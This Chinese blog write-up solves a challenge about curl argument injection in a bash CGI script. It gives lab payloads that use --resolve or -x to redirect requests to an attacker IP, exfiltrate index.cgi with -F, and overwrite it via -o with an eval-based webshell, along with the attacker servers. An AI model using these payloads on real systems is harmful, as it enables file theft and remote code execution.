之前P神在他的小密圈提出过这么个问题,一下代码能否getshell,源码在这,需要:

– 获取目标的shell – 不破坏正常业务(index.cgi的功能不受到影响)

#!/bin/bash
# index.cgi内容

source ./_dep/web.cgi
echo_headers

name=${_GET["name"]}

[[ $name == "" ]] && name='Bob'

curl -v "http://httpbin.org/get?name=$name"
# 或者curl -v http://httpbin.org/get?name=$name

看到我们可控变量$name直接被插入curl,我们常会想能不能命令注入(类似于SQL注入)

P神给出的答案是

不可以。

命令注入、代码注入,一定是有“动态代码执行”的地方(在bash开发的应用中,代码注入就等于命令注入)。比如PHP的代码注入,就需要eval这个动态执行代码的方法可控;同样Bash中也需要eval等函数的参数可控。

Bash中更难理解的原因是,Bash语言本身就是执行命令的媒介,但代码注入漏洞的核心原理是相同的,需要一个执行“代码”或“命令”的方法可控,而不是控制一个静态的语法结构中的参数。

因为所给题目中,是没有动态执行代码的方法的,所以无法进行任意注入命令,但是当curl -v http://httpbin.org/get?name=$name,无双引号包裹时是可以注入一些参数的,根据curl的一些参数,这道题有中间人攻击的味道(个人感觉)

中间人攻击简介

中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。如SMB(会话劫持)、DNS欺骗等攻击都是典型的MITM攻击。简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。在黑客技术越来越多的运用于以获取经济利益为目标的情况下时,MITM攻击成为对网银、网游、网上交易等最有威胁并且最具破坏性的一种攻击方式。

img

img

MITM攻击方法

DNS欺骗

DNS欺骗(DNSSpoofing),就是其中的一种惯用手法。攻击者通过入侵DNS服务器、控制路由器等方法把受害者要访问的目标机器域名对应的IP解析为攻击者所控制的机器,这样受害者原本要发送给目标机器的数据就发到了攻击者的机器上,这时攻击者就可以监听甚至修改数据,从而收集到大量的信息。如果攻击者只是想监听双方会话的数据,他会转发所有的数据到真正的目标机器上,让目标机器进行处理,再把处理结果发回到原来的受害者机器;如果攻击者要进行彻底的破坏,他会伪装目标机器返回数据,这样受害者接收处理的就不再是原来期望的数据,而是攻击者所期望的了。例如让DNS服务器解析银行网站的IP为自己机器IP,同时在自己机器上伪造银行登录页面,那么受害者的真实账号和密码就暴露给入侵者了。

会话劫持

会话劫持”(SessionHijack)是一种结合了嗅探以及欺骗技术在内的攻击手段。广义上说,会话劫持就是在一次正常的通信过程中,攻击者作为第三方参与到其中,或者是在数据里加入其他信息,甚至将双方的通信模式暗中改变,即从直接联系变成有攻击者参与的联系。简单地说,就是攻击者把自己插入到受害者和目标机器之间,并设法让受害者和目标机器之间的数据通道变为受害者和目标机器之间存在一个看起来像“中转站”的代理机器(攻击者的机器)的数据通道,从而干涉两台机器之间的数据传输,例如监听敏感数据、替换数据等。由于攻击者已经介入其中,他能轻易知道双方传输的数据内容,还能根据自己的意愿去左右它。这个“中转站”可以是逻辑上的,也可以是物理上的,关键在于它能否获取到通信双方的数据。

img

代理服务器

代理服务器相当于一个透明的数据通道,它根据客户发来的“要求连接某计算机”的请求数据,进而用自己本身作为原客户机器去连接目标计算机,在目标计算机返回数据后,再发送给原客户,这时目标计算机获取到的是代理服务器的IP,而不是原客户IP,从而实现突破IP屏蔽或者让对方无法获取你的真实IP。常见的有肉鸡

img

简单举个HTTP代理服务器工作的原理:IE发送一个包含目标URL的HTTP请求,代理服务器接收并析出HTTP报文里的目标URL和相关参数,然后把这个URL作为一次标准的HTTP连接过程与目标网站连接,获取目标网站返回的数据后缓冲到代理服务器的硬盘上,再把这些数据返回给客户端。

题解

这里我准备了两个虚拟机

靶机ip: 192.168.247.130

evil ip: 192.168.247.129

尝试一些常规的参数

http://192.168.247.130/index.cgi?name=lz2y -help

img

于是我们需要寻找我们能够利用的curl参数,P神推荐https://gtfobins.github.io/,里面介绍了很多linux下不同命令下的tricks(但是我就是打不开),以下几个参数是可以利用的

img

尝试使用file://$LFILE读取index.cgi

http://192.168.247.130/index.cgi?name=lz2y file:///usr/local/apache2/htdocs/index.cgi

img

我们考虑使用-o把webshell写入cgi文件,这道题的关键就是如何写入webshell了,下面给出几种写入方法

DNS欺骗

-o参数将服务器的回应以我们给定的文件名保存成文件,等同于wget命令。

curl -o example.html https://www.example.com

上面命令将www.example.com内容保存成example.html

回到题目

name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name

如果我们把httpbin.org解析成我们控制的ip,那么我们就可以在服务器上放我们的webshell,让他下载就行了,有点DNS欺骗的味道了

攻击者通过入侵DNS服务器、控制路由器等方法把受害者要访问的目标机器域名对应的IP解析为攻击者所控制的机器

但是我们无法控制DNS服务器和路由器,想要进行DNS欺骗还得从其他方法入手,接下来就是利用curl的参数进行解析

我们发现–resolve这个参数是符合我们需求的

--resolve HOST:PORT:ADDRESS :将 HOST:PORT 强制解析到 ADDRESS

这里需要注意的是ADDRESS必须为ip地址,不能使用域名,也不能带上端口,否则直接解析失败报一个

* Resolve address '*******' found illegal!

然后继续解析到HOST:PORT中,一开始没注意,直接在服务器开个docker,一直不成功,这里花了不少时间…为了方便演示,这里再次提一下,本次演示使用了两个虚拟机:

靶机ip: 192.168.247.130

evil ip: 192.168.247.129

我们在evil ip跑一个py脚本运行恶意网页测试一下

import web
urls = ('/.*', 'index')

class index:
    def POST(self):
        data = web.input(file={})
        return data.file.value

if __name__ == "__main__":
    app = web.application(urls, globals())
    web.httpserver.runsimple(app.wsgifunc(), ("0.0.0.0", 80))   
    # 注意这里需为"0.0.0.0","127.0.0.1"无法通过ip访问该web应用
    app.run()

尝试打入payload

curl http://192.168.247.130/index.cgi -G --data-urlencode "name=lz2y -F file=@index.cgi --resolve *:80:192.168.247.129"

img

这个payload的-F file=@index.cgi是把index.cgifile上传字段上传,我们的恶意网页会将他的值返回回来,所以我们能看到index.cgi内容了

由于-F参数用来向服务器上传二进制文件。

 curl -F 'file=@photo.png' https://google.com/profile

上面命令会给 HTTP 请求加上标头Content-Type: multipart/form-data,然后将文件photo.png作为file字段上传。

接下来就是写入webshell了,修改py文件

import web

urls = ('/.*', 'index')

class index:
    def POST(self):
        data = web.input(file={})
        return data.file.value
    def GET(self):
        return \
"""#!/bin/bash
source ./_dep/web.cgi
echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
cmd=${_GET["cmd"]} && eval $cmd
"""

if __name__ == "__main__":
    app = web.application(urls, globals())
    web.httpserver.runsimple(app.wsgifunc(), ("0.0.0.0", 80))
    app.run()

为了不影响原有网页,我们写入webshell时经常把他写入shell.php等,我们尝试写入shell.cgi

curl http://192.168.247.130/index.cgi -G --data-urlencode "name=lz2y --resolve *:80:192.168.247.129 -o shell.cgi"

img

可以看到我们的shell.cgi已经写进去了,但是Internal Server Error

这里实际上可能受到两个问题影响:

  • 我们下载的文件因为不是合法shell脚本,所以执行可能出错(这里显然不是这个原因)
  • 新写入的shell.cgi文件没有执行权限,导致无法执行(应该就是这个了)

解决方法就是:写入并覆盖Web目录下一个已经存在的文件,此时不会影响这个文件本身的执行权限。

我们尝试把webshell写入index.cgi,由于需要不影响原有业务,我们需要在index.cgi的基础上加上我们的webshell,为了方便,我一开始的py文件就是包含了index.cgi源代码的,我们现在尝试把他写入index.cgi.

curl http://192.168.247.130/index.cgi -G --data-urlencode "name=lz2y --resolve *:80:192.168.247.129 -o index.cgi"

测试一下,发现我们的webshell已经写进去了

img

代理服务器

curl的-x这个参数可以指定请求时使用的HTTP代理,我们通过代理来劫持httpbin.org的请求包,控制返回结果。

用过burpsuite等类似工具的都知道,我们可以修改请求包,之前我们抓包一般用burpsuite和fiddler工具,现在介绍一款工具mitmproxy,开启代理服务器,实现数据劫持.

篇幅有限,这里给一个较为详细的教程,相信你会有所收获

安装好后运行下面脚本mitmdump -s test1.py --set 1 block_global=false

# test1.py
from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse

data = br'''
hello
'''

class Hook:
    def request(self, flow: HTTPFlow):
        flow.response = HTTPResponse.make(200, data, {'Content-Type':'text/plain'})
        ctx.log.info("Process a request %r" % flow.request.url)

addons = [
Hook()
]

由于kali自带mitmproxy,我就嫌麻烦不装到其他了,kali ip:192.168.247.129

尝试输入payload

curl http://192.168.247.130/index.cgi -G --data-urlencode "name=lz2y -x 192.168.247.129:8080"

img

写入webshell

curl http://192.168.247.130/index.cgi -G --data-urlencode "name=lz2y -x 192.168.247.129:8080 -o index.cgi"
# test1.py
from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse

data ='''#!/bin/bash
source ./_dep/web.cgi
echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
mitmproxy=${_GET["mitmproxy"]} && eval $mitmproxy
'''

class Hook:
    def request(self, flow: HTTPFlow):
        flow.response = HTTPResponse.make(200, data, {'Content-Type':'text/plain'})
        ctx.log.info("Process a request %r" % flow.request.url)

addons = [
Hook()
]

img

后记

这一个题目让我学到了很多东西,看起来简单,自己实践起来还有有很多坑需要踩的,除了花时间,其他都挺好玩的…还是多多实践吧

参考链接

  • https://govuln.com/topic/1152/
  • http://www.ruanyifeng.com/blog/2019/09/curl-reference.html
  • https://wx.zsxq.com/dweb2/index/group/2212251881?from=mweb&type=detail
说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...